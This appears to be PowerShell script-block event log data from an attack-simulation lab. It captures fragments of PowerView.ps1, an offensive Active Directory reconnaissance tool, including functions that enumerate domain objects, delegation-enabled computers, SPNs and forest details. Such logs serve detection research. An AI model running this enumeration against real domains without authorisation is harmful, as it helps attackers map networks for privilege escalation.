-AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainObject -Credential $Cred -Identity 'windows1' .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local 'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) distinguishedname ----------------- CN=harmj0y,CN=Users,DC=testlab,DC=local VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local .OUTPUTS PowerView.ADObject Custom PSObject with translated AD object property fields. PowerView.ADObject.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.ADObject')] [OutputType('PowerView.ADObject.Raw')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) DynamicParam { $UACValueNames = [Enum]::GetNames($UACEnum) # add in the negations $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} # create new dynamic parameter New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) } BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ObjectSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { #bind dynamic parameter to a friendly variable if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } if ($ObjectSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^(CN|OU|DC)=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $ObjectSearcher = Get-DomainSearcher @SearcherArguments if (-not $ObjectSearcher) { Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $ObjectName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$ObjectName)" $SearcherArguments['Domain'] = $ObjectDomain Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" $ObjectSearcher = Get-DomainSearcher @SearcherArguments } } elseif ($IdentityInstance.Contains('.')) { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } else { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } # build the LDAP filter for the dynamic UAC filter value $UACFilter | Where-Object {$_} | ForEach-Object { if ($_ -match 'NOT_.*') { $UACField = $_.Substring(4) $UACValue = [Int]($UACEnum::$UACField) $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } else { $UACValue = [Int]($UACEnum::$_) $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } } if ($Filter -and $Filter -ne '') { $ObjectSearcher.filter = "(&$Filter)" } Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } else { $Results = $ObjectSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Object = $_ $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') } else { $Object = Convert-LDAPProperty -Properties $_.Properties $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') } $Object } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" } } $ObjectSearcher.dispose() } } } function Get-DomainObjectAttributeHistory { <# .SYNOPSIS Returns the Active Directory attribute replication metadata for the specified object, i.e. a parsed version of the msds-replattributemetadata attribute. By default, replication data for every domain object is returned. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'. This is the domain attribute replication metadata associated with the object. The results are parsed from their XML string form and returned as a custom object. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Only return replication metadata on the specified property names. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainObjectAttributeHistory -Domain testlab.local Return all attribute replication metadata for all objects in the testlab.local domain. .EXAMPLE 'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat e ingChange ingDsaDN -------- ---------- ------------ ------------ ------- ------------ CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S... CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S... CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S... .EXAMPLE Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb AttributeName : userAccountControl LastOriginatingChange : 2017-03-07T19:56:27Z Version : 4 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .OUTPUTS PowerView.ADObjectAttributeHistory Custom PSObject with translated replication metadata fields. .LINK https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.ADObjectAttributeHistory')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName'e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122613Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local1244 ProcessId = $Properties[10].Value ProcessName = $Properties[11].Value IpAddress = $Properties[12].Value IpPort = $Properties[13].Value } $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') $Output } } default { Write-Warning "No handler exists for event ID: $($Event.Id)" } } } } } } function Get-DomainGUIDMap { <# .SYNOPSIS Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-Forest .DESCRIPTION Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) for objects where objectClass=controlAccessRight, translating the GUIDs again. Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .OUTPUTS Hashtable Ouputs a hashtable containing a GUID -> Readable Name mapping. .LINK http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param ( [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} $ForestArguments = @{} if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } try { $SchemaPath = (Get-Forest @ForestArguments).schema.name } catch { throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' } if (-not $SchemaPath) { throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' } $SearcherArguments = @{ 'SearchBase' = $SchemaPath 'LDAPFilter' = '(schemaIDGUID=*)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SchemaSearcher = Get-DomainSearcher @SearcherArguments if ($SchemaSearcher) { try { $Results = $SchemaSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" } } $SchemaSearcher.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" } } $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' $RightsSearcher = Get-DomainSearcher @SearcherArguments if ($RightsSearcher) { try { $Results = $RightsSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" } } $RightsSearcher.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" } } $GUIDs } function Get-DomainComputer { <# .SYNOPSIS Return all computers or specific computer objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all computer objects for the current domain are returned. .PARAMETER Identity A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. .PARAMETER UACFilter Dynamic parameter that accepts one or more values from $UACEnum, including "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. .PARAMETER Unconstrained Switch. Return computer objects that have unconstrained delegation. .PARAMETER TrustedToAuth Switch. Return computer objects that are trusted to authenticate for other principals. .PARAMETER Printers Switch. Return only printers. .PARAMETER SPN Return computers with a specific service principal name, wildcards accepted. .PARAMETER OperatingSystem Return computers with a specific operating system, wildcards accepted. .PARAMETER ServicePack Return computers with a specific service pack, wildcards accepted. .PARAMETER SiteName Return computers in the specific AD Site name, wildcards accepted. .PARAMETER Ping Switch. Ping each host to ensure it's up before enumerating. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainComputer Returns the current computers in current domain. .EXAMPLE Get-DomainComputer -SPN mssql* -Domain testlab.local Returns all MS SQL servers in the testlab.local domain. .EXAMPLE Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname Return the dns hostnames of servers trusted for delegation. .EXAMPLE Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained Search the specified OU for computeres that allow unconstrained delegation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainComputer -Credential $Cred .OUTPUTS PowerView.Computer Custom PSObject with translated computer property fields. PowerView.Computer.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [OutputType('PowerView.Computer')] [OutputType('PowerView.Computer.Raw')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('SamAccountName', 'Name', 'DNSHostName')] [String[]] $Identity, [Switch] $Unconstrained, [Switch] $TrustedToAuth, [Switch] $Printers, [ValidateNotNullOrEmpty()] [Alias('ServicePrincipalName')] [String] $SPN, [ValidateNotNullOrEmpty()] [String] $OperatingSystem, [ValidateNotNullOrEmpty()] [String] $ServicePack, [ValidateNotNullOrEmpty()] [String] $SiteName, [Switch] $Ping, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) DynamicParam { $UACValueNames = [Enum]::GetNames($UACEnum) # add in the negations $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} # create new dynamic parameter New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) } BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $CompSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { #bind dynamic parameter to a friendly variable if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } if ($CompSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $CompSearcher = Get-DomainSearcher @SearcherArguments if (-not $CompSearcher) { Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance.Contains('.')) { $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } else { $IdentityFilter += "(name=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['Unconstrained']) { Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' } if ($PSBoundParameters['TrustedToAuth']) { Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } if ($PSBoundParameters['Printers']) { Write-Verbose '[Get-DomainComputer] Searching for printers' $Filter += '(objectCategory=printQueue)' } if ($PSBoundParameters['SPN']) { Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" $Filter += "(servicePrincipalName=$SPN)" } if ($PSBoundParameters['OperatingSystem']) { Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" $Filter += "(operatingsystem=$OperatingSystem)" } if ($PSBoundParameters['ServicePack']) { Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" $Filter += "(operatingsystemservicepack=$ServicePack)" } if ($PSBoundParameters['SiteName']) { Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" $Filter += "(serverreferencebl=$SiteName)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } # build the LDAP filter for the dynamic UAC filter value $UACFilter | Where-Object {$_} | ForEach-Object { if ($_ -match 'NOT_.*') { $UACField = $_.Substring(4) $UACValue = [Int]($UACEnum::$UACField) $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } else { $UACValue = [Int]($UACEnum::$_) $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } } $CompSearcher.file66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122610Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local944$Forest' from -Credential" } $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) try { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" $Null } } elseif ($PSBoundParameters['Forest']) { $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) try { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" return $Null } } else { # otherwise use the current forest $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() } if ($ForestObject) { # get the SID of the forest root if ($PSBoundParameters['Credential']) { $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid } else { $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid } $Parts = $ForestSid -Split '-' $ForestSid = $Parts[0..$($Parts.length-2)] -join '-' $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid $ForestObject } } } function Get-ForestDomain { <# .SYNOPSIS Return all domains for the current (or specified) forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION Returns all domains for the current forest or the forest specified by -Forest X. .PARAMETER Forest Specifies the forest name to query for domains. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target forest. .EXAMPLE Get-ForestDomain .EXAMPLE Get-ForestDomain -Forest external.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestDomain -Credential $Cred .OUTPUTS System.DirectoryServices.ActiveDirectory.Domain #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } $ForestObject = Get-Forest @Arguments if ($ForestObject) { $ForestObject.Domains } } } function Get-ForestGlobalCatalog { <# .SYNOPSIS Return all global catalogs for the current (or specified) forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION Returns all global catalogs for the current forest or the forest specified by -Forest X by using Get-Forest to retrieve the specified forest object and the .FindAllGlobalCatalogs() to enumerate the global catalogs. .PARAMETER Forest Specifies the forest name to query for global catalogs. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-ForestGlobalCatalog .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestGlobalCatalog -Credential $Cred .OUTPUTS System.DirectoryServices.ActiveDirectory.GlobalCatalog #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } $ForestObject = Get-Forest @Arguments if ($ForestObject) { $ForestObject.FindAllGlobalCatalogs() } } } function Get-ForestSchemaClass { <# .SYNOPSIS Helper that returns the Active Directory schema classes for the current (or specified) forest or returns just the schema class specified by -ClassName X. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION Uses Get-Forest to retrieve the current (or specified) forest. By default, the .FindAllClasses() method is executed, returning a collection of [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results. If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] result for the specified class name is returned. .PARAMETER ClassName Specifies a ActiveDirectorySchemaClass name in the found schema to return. .PARAMETER Forest The forest to query for the schema, defaults to the current forest. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-ForestSchemaClass Returns all domain schema classes for the current forest. .EXAMPLE Get-ForestSchemaClass -Forest dev.testlab.local Returns all domain schema classes for the external.local forest. .EXAMPLE Get-ForestSchemaClass -ClassName user -Forest external.local Returns the user 